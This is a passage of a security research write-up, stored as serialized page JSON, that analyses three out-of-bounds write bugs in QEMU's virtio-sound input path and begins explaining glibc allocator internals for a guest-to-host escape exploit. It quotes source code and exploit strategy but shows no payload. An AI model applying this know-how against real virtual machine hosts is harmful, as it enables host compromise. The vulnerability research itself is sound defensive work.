08},{"style":154},[123909],{"type":29,"value":123087},{"type":23,"tag":141,"props":123911,"children":123912},{"class":143,"line":22316},[123913,123918,123922],{"type":23,"tag":141,"props":123914,"children":123915},{"style":154},[123916],{"type":29,"value":123917}," available ",{"type":23,"tag":141,"props":123919,"children":123920},{"style":160},[123921],{"type":29,"value":102470},{"type":23,"tag":141,"props":123923,"children":123924},{"style":154},[123925],{"type":29,"value":123087},{"type":23,"tag":141,"props":123927,"children":123928},{"class":143,"line":22324},[123929],{"type":23,"tag":141,"props":123930,"children":123931},{"style":154},[123932],{"type":29,"value":123933}," [...]\n",{"type":23,"tag":141,"props":123935,"children":123936},{"class":143,"line":22332},[123937],{"type":23,"tag":141,"props":123938,"children":123939},{"style":154},[123940],{"type":29,"value":57365},{"type":23,"tag":141,"props":123942,"children":123943},{"class":143,"line":22341},[123944],{"type":23,"tag":141,"props":123945,"children":123946},{"style":154},[123947],{"type":29,"value":2008},{"type":23,"tag":141,"props":123949,"children":123950},{"class":143,"line":22417},[123951],{"type":23,"tag":141,"props":123952,"children":123953},{"style":154},[123954],{"type":29,"value":299},{"type":23,"tag":141,"props":123956,"children":123957},{"class":143,"line":22450},[123958],{"type":23,"tag":141,"props":123959,"children":123960},{"style":154},[123961],{"type":29,"value":2573},{"type":23,"tag":32,"props":123963,"children":123964},{},[123965,123966,123971,123972,123978,123980,123986,123988,123993,123994,123999,124001,124006],{"type":29,"value":122867},{"type":23,"tag":38,"props":123967,"children":123969},{"className":123968},[],[123970],{"type":29,"value":122873},{"type":29,"value":480},{"type":23,"tag":38,"props":123973,"children":123975},{"className":123974},[],[123976],{"type":29,"value":123977},"max_size",{"type":29,"value":123979}," is set to ",{"type":23,"tag":38,"props":123981,"children":123983},{"className":123982},[],[123984],{"type":29,"value":123985},"iov_size(in_sg, in_num)",{"type":29,"value":123987},". Both ",{"type":23,"tag":38,"props":123989,"children":123991},{"className":123990},[],[123992],{"type":29,"value":122598},{"type":29,"value":313},{"type":23,"tag":38,"props":123995,"children":123997},{"className":123996},[],[123998],{"type":29,"value":122615},{"type":29,"value":124000}," are the same guest-controlled fields from ",{"type":23,"tag":38,"props":124002,"children":124004},{"className":124003},[],[124005],{"type":29,"value":122250},{"type":29,"value":322},{"type":23,"tag":32,"props":124008,"children":124009},{},[124010,124012,124017,124019,124025,124027,124033,124035,124041],{"type":29,"value":124011},"Later, at ",{"type":23,"tag":38,"props":124013,"children":124015},{"className":124014},[],[124016],{"type":29,"value":122908},{"type":29,"value":124018},", the code checks whether ",{"type":23,"tag":38,"props":124020,"children":124022},{"className":124021},[],[124023],{"type":29,"value":124024},"buffer->size >= max_size",{"type":29,"value":124026},". In the RX path, ",{"type":23,"tag":38,"props":124028,"children":124030},{"className":124029},[],[124031],{"type":29,"value":124032},"buffer->size",{"type":29,"value":124034}," tracks how many bytes have been written into ",{"type":23,"tag":38,"props":124036,"children":124038},{"className":124037},[],[124039],{"type":29,"value":124040},"buffer->data",{"type":29,"value":124042},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":32,"props":124044,"children":124045},{},[124046,124048,124053,124055,124061,124063,124068,124070,124076],{"type":29,"value":124047},"However, this does not match the allocation logic in ",{"type":23,"tag":38,"props":124049,"children":124051},{"className":124050},[],[124052],{"type":29,"value":122250},{"type":29,"value":124054},", which used: ",{"type":23,"tag":38,"props":124056,"children":124058},{"className":124057},[],[124059],{"type":29,"value":124060},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":124062},". In other words, the allocation subtracts ",{"type":23,"tag":38,"props":124064,"children":124066},{"className":124065},[],[124067],{"type":29,"value":122974},{"type":29,"value":124069},", but the later bound in ",{"type":23,"tag":38,"props":124071,"children":124073},{"className":124072},[],[124074],{"type":29,"value":124075},"virtio_snd_pcm_in_cb",{"type":29,"value":124077}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":32,"props":124079,"children":124080},{},[124081,124083,124088,124090,124096,124098,124104,124106,124111,124113,124119,124121,124127,124129,124134,124136,124141],{"type":29,"value":124082},"Finally, at ",{"type":23,"tag":38,"props":124084,"children":124086},{"className":124085},[],[124087],{"type":29,"value":122932},{"type":29,"value":124089},", the code calls ",{"type":23,"tag":38,"props":124091,"children":124093},{"className":124092},[],[124094],{"type":29,"value":124095},"AUD_read",{"type":29,"value":124097}," with the following limit:\n",{"type":23,"tag":38,"props":124099,"children":124101},{"className":124100},[],[124102],{"type":29,"value":124103},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":124105},". Notice how this bound does not take ",{"type":23,"tag":38,"props":124107,"children":124109},{"className":124108},[],[124110],{"type":29,"value":123977},{"type":29,"value":124112}," into account at all. That means if ",{"type":23,"tag":38,"props":124114,"children":124116},{"className":124115},[],[124117],{"type":29,"value":124118},"available",{"type":29,"value":124120}," is larger than the allocated buffer, and ",{"type":23,"tag":38,"props":124122,"children":124124},{"className":124123},[],[124125],{"type":29,"value":124126},"stream->params.period_bytes",{"type":29,"value":124128}," is also larger than the allocated buffer, ",{"type":23,"tag":38,"props":124130,"children":124132},{"className":124131},[],[124133],{"type":29,"value":124095},{"type":29,"value":124135}," will write past the end of ",{"type":23,"tag":38,"props":124137,"children":124139},{"className":124138},[],[124140],{"type":29,"value":124040},{"type":29,"value":124142}," - the third, and final, bug we found.",{"type":23,"tag":32,"props":124144,"children":124145},{},[124146,124148,124153,124155,124161],{"type":29,"value":124147},"Looking further at the code, we can see that ",{"type":23,"tag":38,"props":124149,"children":124151},{"className":124150},[],[124152],{"type":29,"value":124126},{"type":29,"value":124154}," is fully guest-controlled by issuing a ",{"type":23,"tag":38,"props":124156,"children":124158},{"className":124157},[],[124159],{"type":29,"value":124160},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":124162}," request:",{"type":23,"tag":131,"props":124164,"children":124166},{"code":124165,"language":1807,"meta":7,"className":15191,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[124167],{"type":23,"tag":38,"props":124168,"children":124169},{"__ignoreMap":7},[124170,124178,124207,124224,124244,124251,124268,124275,124282,124289,124311,124318,124325,124332,124378,124421,124465,124473,124510,124546,124582,124589,124606],{"type":23,"tag":141,"props":124171,"children":124172},{"class":143,"line":144},[124173],{"type":23,"tag":141,"props":124174,"children":124175},{"style":449},[124176],{"type":29,"value":124177},"static\n",{"type":23,"tag":141,"props":124179,"children":124180},{"class":143,"line":180},[124181,124185,124190,124195,124199,124203],{"type":23,"tag":141,"props":124182,"children":124183},{"style":449},[124184],{"type":29,"value":56413},{"type":23,"tag":141,"props":124186,"children":124187},{"style":184},[124188],{"type":29,"value":124189}," virtio_snd_set_pcm_params",{"type":23,"tag":141,"props":124191,"children":124192},{"style":154},[124193],{"type":29,"value":124194},"(VirtIOSound ",{"type":23,"tag":141,"props":124196,"children":124197},{"style":160},[124198],{"type":29,"value":197},{"type":23,"tag":141,"props":124200,"children":124201},{"style":750},[124202],{"type":29,"value":9332},{"type":23,"tag":141,"props":124204,"children":124205},{"style":154},[124206],{"type":29,"value":2168},{"type":23,"tag":141,"props":124208,"children":124209},{"class":143,"line":205},[124210,124215,124220],{"type":23,"tag":141,"props":124211,"children":124212},{"style":449},[124213],{"type":29,"value":124214}," uint32_t",{"type":23,"tag":141,"props":124216,"children":124217},{"style":750},[124218],{"type":29,"value":124219}," stream_id",{"type":23,"tag":141,"props":124221,"children":124222},{"style":154},[124223],{"type":29,"value":2168},{"type":23,"tag":141,"props":124225,"children":124226},{"class":143,"line":218},[124227,124232,124236,124240],{"type":23,"tag":141,"props":124228,"children":124229},{"style":154},[124230],{"type":29,"value":124231}," virtio_snd_pcm_set_params ",{"type":23,"tag":141,"props":124233,"children":124234},{"style":160},[124235],{"type":29,"value":197},{"type":23,"tag":141,"props":124237,"children":124238},{"style":750},[124239],{"type":29,"value":96767},{"type":23,"tag":141,"props":124241,"children":124242},{"style":154},[124243],{"type":29,"value":758},{"type":23,"tag":141,"props":124245,"children":124246},{"class":143,"line":227},[124247],{"type":23,"tag":141,"props":124248,"children":124249},{"style":154},[124250],{"type":29,"value":766},{"type":23,"tag":141,"props":124252,"children":124253},{"class":143,"line":241},[124254,124259,124263],{"type":23,"tag":141,"props":124255,"children":124256},{"style":154},[124257],{"type":29,"value":124258}," virtio_snd_pcm_set_params ",{"type":23,"tag":141,"props":124260,"children":124261},{"style":160},[124262],{"type":29,"value":197},{"type":23,"tag":141,"props":124264,"children":124265},{"style":154},[124266],{"type":29,"value":124267},"st_params;\n",{"type":23,"tag":141,"props":124269,"children":124270},{"class":143,"line":262},[124271],{"type":23,"tag":141,"props":124272,"children":124273},{"emptyLinePlaceholder":15},[124274],{"type":29,"value":719},{"type":23,"tag":141,"props":124276,"children":124277},{"class":143,"line":271},[124278],{"type":23,"tag":141,"props":124279,"children":124280},{"style":154},[124281],{"type":29,"value":103286},{"type":23,"tag":141,"props":124283,"children":124284},{"class":143,"line":293},[124285],{"type":23,"tag":141,"props":124286,"children":124287},{"emptyLinePlaceholder":15},[124288],{"type":29,"value":719},{"type":23,"tag":141,"props":124290,"children":124291},{"class":143,"line":801},[124292,124297,124301,124306],{"type":23,"tag":141,"props":124293,"children":124294},{"style":154},[124295],{"type":29,"value":124296}," st_params ",{"type":23,"tag":141,"props":124298,"children":124299},{"style":160},[124300],{"type":29,"value":1377},{"type":23,"tag":141,"props":124302,"children":124303},{"style":184},[124304],{"type":29,"value":124305}," virtio_snd_pcm_get_params",{"type":23,"tag":141,"props":124307,"children":124308},{"style":154},[124309],{"type":29,"value":124310},"(s, stream_id);\n",{"type":23,"tag":141,"props":124312,"children":124313},{"class":143,"line":810},[124314],{"type":23,"tag":141,"props":124315,"children":124316},{"emptyLinePlaceholder":15},[124317],{"type":29,"value":719},{"type":23,"tag":141,"props":124319,"children":124320},{"class":143,"line":824},[124321],{"type":23,"tag":141,"props":124322,"children":124323},{"style":154},[124324],{"type":29,"value":103286},{"type":23,"tag":141,"props":124326,"children":124327},{"class":143,"line":839},[124328],{"type":23,"tag":141,"props":124329,"children":124330},{"emptyLinePlaceholder":15},[124331],{"type":29,"value":719},{"type":23,"tag":141,"props":124333,"children":124334},{"class":143,"line":848},[124335,124340,124344,124349,124353,124358,124362,124366,124370,124374],{"type":23,"tag":141,"props":124336,"children":124337},{"style":750},[124338],{"type":29,"value":124339}," st_params",{"type":23,"tag":141,"props":124341,"children":124342},{"style":154},[124343],{"type":29,"value":12435},{"type":23,"tag":141,"props":124345,"children":124346},{"style":750},[124347],{"type":29,"value":124348},"buffer_bytes",{"type":23,"tag":141,"props":124350,"children":124351},{"style":160},[124352],{"type":29,"value":1674},{"type":23,"tag":141,"props":124354,"children":124355},{"style":184},[124356],{"type":29,"value":124357}," le32_to_cpu",{"type":23,"tag":141,"props":124359,"children":124360},{"style":154},[124361],{"type":29,"value":192},{"type":23,"tag":141,"props":124363,"children":124364},{"style":750},[124365],{"type":29,"value":96767},{"type":23,"tag":141,"props":124367,"children":124368},{"style":154},[124369],{"type":29,"value":12435},{"type":23,"tag":141,"props":124371,"children":124372},{"style":750},[124373],{"type":29,"value":124348},{"type":23,"tag":141,"props":124375,"children":124376},{"style":154},[124377],{"type":29,"value":2496},{"type":23,"tag":141,"props":124379,"children":124380},{"class":143,"line":2304},[124381,124385,124389,124393,124397,124401,124405,124409,124413,124417],{"type":23,"tag":141,"props":124382,"children":124383},{"style":750},[124384],{"type":29,"value":124339},{"type":23,"tag":141,"props":124386,"children":124387},{"style":154},[124388],{"type":29,"value":12435},{"type":23,"tag":141,"props":124390,"children":124391},{"style":750},[124392],{"type":29,"value":123798},{"type":23,"tag":141,"props":124394,"children":124395},{"style":160},[124396],{"type":29,"value":1674},{"type":23,"tag":141,"props":124398,"children":124399},{"style":184},[124400],{"type":29,"value":124357},{"type":23,"tag":141,"props":124402,"children":124403},{"style":154},[124404],{"type":29,"value":192},{"type":23,"tag":141,"props":124406,"children":124407},{"style":750},[124408],{"type":29,"value":96767},{"type":23,"tag":141,"props":124410,"children":124411},{"style":154},[124412],{"type":29,"value":12435},{"type":23,"tag":141,"props":124414,"children":124415},{"style":750},[124416],{"type":29,"value":123798},{"type":23,"tag":141,"props":124418,"children":124419},{"style":154},[124420],{"type":29,"value":2496},{"type":23,"tag":141,"props":124422,"children":124423},{"class":143,"line":2313},[124424,124428,124432,124437,124441,124445,124449,124453,124457,124461],{"type":23,"tag":141,"props":124425,"children":124426},{"style":750},[124427],{"type":29,"value":124339},{"type":23,"tag":141,"props":124429,"children":124430},{"style":154},[124431],{"type":29,"value":12435},{"type":23,"tag":141,"props":124433,"children":124434},{"style":750},[124435],{"type":29,"value":124436},"features",{"type":23,"tag":141,"props":124438,"children":124439},{"style":160},[124440],{"type":29,"value":1674},{"type":23,"tag":141,"props":124442,"children":124443},{"style":184},[124444],{"type":29,"value":124357},{"type":23,"tag":141,"props":124446,"children":124447},{"style":154},[124448],{"type":29,"value":192},{"type":23,"tag":141,"props":124450,"children":124451},{"style":750},[124452],{"type":29,"value":96767},{"type":23,"tag":141,"props":124454,"children":124455},{"style":154},[124456],{"type":29,"value":12435},{"type":23,"tag":141,"props":124458,"children":124459},{"style":750},[124460],{"type":29,"value":124436},{"type":23,"tag":141,"props":124462,"children":124463},{"style":154},[124464],{"type":29,"value":2496},{"type":23,"tag":141,"props":124466,"children":124467},{"class":143,"line":2335},[124468],{"type":23,"tag":141,"props":124469,"children":124470},{"style":443},[124471],{"type":29,"value":124472}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":141,"props":124474,"children":124475},{"class":143,"line":2343},[124476,124480,124484,124489,124493,124498,124502,124506],{"type":23,"tag":141,"props":124477,"children":124478},{"style":750},[124479],{"type":29,"value":124339},{"type":23,"tag":141,"props":124481,"children":124482},{"style":154},[124483],{"type":29,"value":12435},{"type":23,"tag":141,"props":124485,"children":124486},{"style":750},[124487],{"type":29,"value":124488},"channels",{"type":23,"tag":141,"props":124490,"children":124491},{"style":160},[124492],{"type":29,"value":1674},{"type":23,"tag":141,"props":124494,"children":124495},{"style":750},[124496],{"type":29,"value":124497}," params",{"type":23,"tag":141,"props":124499,"children":124500},{"style":154},[124501],{"type":29,"value":12435},{"type":23,"tag":141,"props":124503,"children":124504},{"style":750},[124505],{"type":29,"value":124488},{"type":23,"tag":141,"props":124507,"children":124508},{"style":154},[124509],{"type":29,"value":1684},{"type":23,"tag":141,"props":124511,"children":124512},{"class":143,"line":2352},[124513,124517,124521,124526,124530,124534,124538,124542],{"type":23,"tag":141,"props":124514,"children":124515},{"style":750},[124516],{"type":29,"value":124339},{"type":23,"tag":141,"props":124518,"children":124519},{"style":154},[124520],{"type":29,"value":12435},{"type":23,"tag":141,"props":124522,"children":124523},{"style":750},[124524],{"type":29,"value":124525},"format",{"type":23,"tag":141,"props":124527,"children":124528},{"style":160},[124529],{"type":29,"value":1674},{"type":23,"tag":141,"props":124531,"children":124532},{"style":750},[124533],{"type":29,"value":124497},{"type":23,"tag":141,"props":124535,"children":124536},{"style":154},[124537],{"type":29,"value":12435},{"type":23,"tag":141,"props":124539,"children":124540},{"style":750},[124541],{"type":29,"value":124525},{"type":23,"tag":141,"props":124543,"children":124544},{"style":154},[124545],{"type":29,"value":1684},{"type":23,"tag":141,"props":124547,"children":124548},{"class":143,"line":2421},[124549,124553,124557,124562,124566,124570,124574,124578],{"type":23,"tag":141,"props":124550,"children":124551},{"style":750},[124552],{"type":29,"value":124339},{"type":23,"tag":141,"props":124554,"children":124555},{"style":154},[124556],{"type":29,"value":12435},{"type":23,"tag":141,"props":124558,"children":124559},{"style":750},[124560],{"type":29,"value":124561},"rate",{"type":23,"tag":141,"props":124563,"children":124564},{"style":160},[124565],{"type":29,"value":1674},{"type":23,"tag":141,"props":124567,"children":124568},{"style":750},[124569],{"type":29,"value":124497},{"type":23,"tag":141,"props":124571,"children":124572},{"style":154},[124573],{"type":29,"value":12435},{"type":23,"tag":141,"props":124575,"children":124576},{"style":750},[124577],{"type":29,"value":124561},{"type":23,"tag":141,"props":124579,"children":124580},{"style":154},[124581],{"type":29,"value":1684},{"type":23,"tag":141,"props":124583,"children":124584},{"class":143,"line":2429},[124585],{"type":23,"tag":141,"props":124586,"children":124587},{"emptyLinePlaceholder":15},[124588],{"type":29,"value":719},{"type":23,"tag":141,"props":124590,"children":124591},{"class":143,"line":2459},[124592,124596,124601],{"type":23,"tag":141,"props":124593,"children":124594},{"style":148},[124595],{"type":29,"value":15665},{"type":23,"tag":141,"props":124597,"children":124598},{"style":184},[124599],{"type":29,"value":124600}," cpu_to_le32",{"type":23,"tag":141,"props":124602,"children":124603},{"style":154},[124604],{"type":29,"value":124605},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":141,"props":124607,"children":124608},{"class":143,"line":2467},[124609],{"type":23,"tag":141,"props":124610,"children":124611},{"style":154},[124612],{"type":29,"value":2573},{"type":23,"tag":32,"props":124614,"children":124615},{},[124616,124618,124623,124625,124631,124633,124638,124640,124645,124647,124653,124654,124659],{"type":29,"value":124617},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":38,"props":124619,"children":124621},{"className":124620},[],[124622],{"type":29,"value":2081},{"type":29,"value":124624},") and signed (",{"type":23,"tag":38,"props":124626,"children":124628},{"className":124627},[],[124629],{"type":29,"value":124630},"s8",{"type":29,"value":124632},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":38,"props":124634,"children":124636},{"className":124635},[],[124637],{"type":29,"value":493},{"type":29,"value":124639}," in ",{"type":23,"tag":38,"props":124641,"children":124643},{"className":124642},[],[124644],{"type":29,"value":2081},{"type":29,"value":124646},", but ",{"type":23,"tag":38,"props":124648,"children":124650},{"className":124649},[],[124651],{"type":29,"value":124652},"0x00",{"type":29,"value":124639},{"type":23,"tag":38,"props":124655,"children":124657},{"className":124656},[],[124658],{"type":29,"value":124630},{"type":29,"value":322},{"type":23,"tag":17463,"props":124661,"children":124662},{},[],{"type":23,"tag":32,"props":124664,"children":124665},{},[124666],{"type":29,"value":124667},"To summarize:",{"type":23,"tag":116,"props":124669,"children":124670},{},[124671,124690,124708],{"type":23,"tag":120,"props":124672,"children":124673},{},[124674,124676,124681,124683,124688],{"type":29,"value":124675},"an integer underflow in the ",{"type":23,"tag":38,"props":124677,"children":124679},{"className":124678},[],[124680],{"type":29,"value":122745},{"type":29,"value":124682}," calculation in ",{"type":23,"tag":38,"props":124684,"children":124686},{"className":124685},[],[124687],{"type":29,"value":122250},{"type":29,"value":124689},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":120,"props":124691,"children":124692},{},[124693,124695,124700,124701,124706],{"type":29,"value":124694},"a mismatch in the ",{"type":23,"tag":38,"props":124696,"children":124698},{"className":124697},[],[124699],{"type":29,"value":123977},{"type":29,"value":124682},{"type":23,"tag":38,"props":124702,"children":124704},{"className":124703},[],[124705],{"type":29,"value":124075},{"type":29,"value":124707},", leading to at most 8-byte OOB write",{"type":23,"tag":120,"props":124709,"children":124710},{},[124711,124713,124718,124720,124725,124727,124732],{"type":29,"value":124712},"a missing bound in the ",{"type":23,"tag":38,"props":124714,"children":124716},{"className":124715},[],[124717],{"type":29,"value":122745},{"type":29,"value":124719}," passed to ",{"type":23,"tag":38,"props":124721,"children":124723},{"className":124722},[],[124724],{"type":29,"value":124095},{"type":29,"value":124726},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":38,"props":124728,"children":124730},{"className":124729},[],[124731],{"type":29,"value":124118},{"type":29,"value":80774},{"type":23,"tag":32,"props":124734,"children":124735},{},[124736,124738,124743,124745,124750,124752,124758],{"type":29,"value":124737},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":38,"props":124739,"children":124741},{"className":124740},[],[124742],{"type":29,"value":124118},{"type":29,"value":124744},", but in our setup with the ALSA backend, ",{"type":23,"tag":38,"props":124746,"children":124748},{"className":124747},[],[124749],{"type":29,"value":124118},{"type":29,"value":124751}," was consistently around ",{"type":23,"tag":38,"props":124753,"children":124755},{"className":124754},[],[124756],{"type":29,"value":124757},"4096",{"type":29,"value":322},{"type":23,"tag":32,"props":124760,"children":124761},{},[124762,124764,124771,124772,124779],{"type":29,"value":124763},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":55,"props":124765,"children":124768},{"href":124766,"rel":124767},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[59],[124769],{"type":29,"value":124770},"commit 1",{"type":29,"value":480},{"type":23,"tag":55,"props":124773,"children":124776},{"href":124774,"rel":124775},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[59],[124777],{"type":29,"value":124778},"commit 2",{"type":29,"value":124780},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":24,"props":124782,"children":124783},{"id":98593},[124784],{"type":29,"value":98596},{"type":23,"tag":32,"props":124786,"children":124787},{},[124788],{"type":29,"value":124789},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":32,"props":124791,"children":124792},{},[124793],{"type":29,"value":124794},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":8287,"props":124796,"children":124798},{"id":124797},"achieving-a-better-primitive",[124799],{"type":29,"value":124800},"Achieving a Better Primitive",{"type":23,"tag":32,"props":124802,"children":124803},{},[124804],{"type":29,"value":124805},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":32,"props":124807,"children":124808},{},[124809],{"type":29,"value":124810},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":32,"props":124812,"children":124813},{},[124814],{"type":29,"value":124815},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":17563,"props":124817,"children":124819},{"id":124818},"glibc-allocator",[124820],{"type":29,"value":124821},"Glibc Allocator",{"type":23,"tag":32,"props":124823,"children":124824},{},[124825,124827,124834],{"type":29,"value":124826},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":55,"props":124828,"children":124831},{"href":124829,"rel":124830},"https://github.com/shellphish/how2heap",[59],[124832],{"type":29,"value":124833},"how2heap",{"type":29,"value":322},{"type":23,"tag":35817,"props":124836,"children":124838},{"id":124837},"chunk-layout-and-bins",[124839],{"type":29,"value":124840},"Chunk Layout and Bins",{"type":23,"tag":32,"props":124842,"children":124843},{},[124844],{"type":29,"value":124845},"A chunk looks like this:",{"type":23,"tag":131,"props":124847,"children":124849},{"code":124848}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[124850],{"type":23,"tag":38,"props":124851,"children":124852},{"__ignoreMap":7},[124853],{"type":29,"value":124848},{"type":23,"tag":32,"props":124855,"children":124856},{},[124857,124859,124865,124867,124873,124874,124879,124880,124886,124888,124893,124895,124900,124902,124908,124909,124915,124917,124923],{"type":29,"value":124858},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":38,"props":124860,"children":124862},{"className":124861},[],[124863],{"type":29,"value":124864},"prev_size",{"type":29,"value":124866}," field at offset ",{"type":23,"tag":38,"props":124868,"children":124870},{"className":124869},[],[124871],{"type":29,"value":124872},"0x0",{"type":29,"value":36021},{"type":23,"tag":38,"props":124875,"children":124877},{"className":124876},[],[124878],{"type":29,"value":122745},{"type":29,"value":124866},{"type":23,"tag":38,"props":124881,"children":124883},{"className":124882},[],[124884],{"type":29,"value":124885},"0x8",{"type":29,"value":124887},". As the name suggests, ",{"type":23,"tag":38,"props":124889,"children":124891},{"className":124890},[],[124892],{"type":29,"value":124864},{"type":29,"value":124894}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":38,"props":124896,"children":124898},{"className":124897},[],[124899],{"type":29,"value":122745},{"type":29,"value":124901}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":38,"props":124903,"children":124905},{"className":124904},[],[124906],{"type":29,"value":124907},"PREV_INUSE",{"type":29,"value":313},{"type":23,"tag":38,"props":124910,"children":124912},{"className":124911},[],[124913],{"type":29,"value":124914},"IS_MMAPPED",{"type":29,"value":124916}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":38,"props":124918,"children":124920},{"className":124919},[],[124921],{"type":29,"value":124922},"0x10",{"type":29,"value":322},{"type":23,"tag":32,"props":124925,"children":124926},{},[124927],{"type":29,"value":124928},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":23,"tag":35817,"props":124930,"children":124932},{"id":124931},"free-path",[124933],{"type":29,"value":124934},"free() path",{"type":23,"tag":32,"props":124936,"children":124937},{},[124938,124940,124946],{"type":29,"value":124939},"Let’s first look at the ",{"type":23,"tag":38,"props":124941,"children":124943},{"className":124942},[],[124944],{"type":29,"value":124945},"free()",{"type":29,"value":124947}," path in glibc 2.40:",{"type":23,"tag":131,"props":124949,"children":124951},{"code":124950,"language":1807,"meta":7,"className":15191,"style":7},"__libc_free (void *mem)\n{\n mstate ar_ptr;\n mchunkptr p;\n\n p = mem2chunk (mem);\n if (chunk_is_mmapped (p))\n {\n munmap_chunk (p);\n }\n else\n {\n MAYBE_INIT_TCACHE ();\n\n ar_ptr = arena_for_chunk (p);\n _int_free (ar_ptr, p, 0);\n }\n}\n",[124952],{"type":23,"tag":38,"props":124953,"children":124954},{"__ignoreMap":7},[124955,124983,124990,124998,125006,125013,125035,125056,125063,125076,125083,125091,125098,125111,125118,125139,125160,125167],{"type":23,"tag":141,"props":124956,"children":124957},{"class":143,"line":144},[124958,124963,124967,124971,124975,124979],{"type":23,"tag":141,"props":124959,"children":124960},{"style":184},[124961],{"type":29,"value":124962},"__libc_free",{"type":23,"tag":141,"props":124964,"children":124965},{"style":154},[124966],{"type":29,"value":1220},{"type":23,"tag":141,"props":124968,"children":124969},{"style":449},[124970],{"type":29,"value":50106},{"type":23,"tag":141,"props":124972,"children":124973},{"style":160},[124974],{"type":29,"value":8496},{"type":23,"tag":141,"props":124976,"children":124977},{"style":750},[124978],{"type":29,"value":39136},{"type":23,"tag":141,"props":124980,"children":124981},{"style":154},[124982],{"type":29,"value":758},{"type":23,"tag":141,"props":124984,"children":124985},{"class":143,"line":180},[124986],{"type":23,"tag":141,"props":124987,"children":124988},{"style":154},[124989],{"type":29,"value":766},{"type":23,"tag":141,"props":124991,"children":124992},{"class":143,"line":205},[124993],{"type":23,"tag":141,"props":124994,"children":124995},{"style":154},[124996],{"type":29,"value":124997}," mstate ar_ptr;\n",{"type":23,"tag":141,"props":124999,"children":125000},{"class":143,"line":218},[125001],{"type":23,"tag":141,"props":125002,"children":125003},{"style":154},[125004],{"type":29,"value":125005}," mchunkptr p;\n",{"type":23,"tag":141,"props":125007,"children":125008},{"class":143,"line":227},[125009],{"type":23,"tag":141,"props":125010,"children":125011},{"emptyLinePlaceholder":15},[125012],{"type":29,"value":719},{"type":23,"tag":141,"props":125014,"children":125015},{"class":143,"line":241},[125016,125021,125025,125030],{"type":23,"tag":141,"props":125017,"children":125018},{"style":154},[125019],{"type":29,"value":125020}," p ",{"type":23,"tag":141,"props":125022,"children":125023},{"style":160},[125024],{"type":29,"value":1377},{"type":23,"tag":141,"props":125026,"children":125027},{"style":184},[125028],{"type":29,"value":125029}," mem2chunk",{"type":23,"tag":141,"props":125031,"children":125032},{"style":154},[125033],{"type":29,"value":125034}," (mem);\n",{"type":23,"tag":141,"props":125036,"children":125037},{"class":143,"line":262},[125038,125042,125046,125051],{"type":23,"tag":141,"props":125039,"children":125040},{"style":148},[125041],{"type":29,"value":29862},{"type":23,"tag":141,"props":125043,"children":125044},{"style":154},[125045],{"type":29,"value":1220},{"type":23,"tag":141,"props":125047,"children":125048},{"style":184},[125049],{"type":29,"value":125050},"chunk_is_mmapped",{"type":23,"tag":141,"props":125052,"children":125053},{"style":154},[125054],{"type":29,"value":125055}," 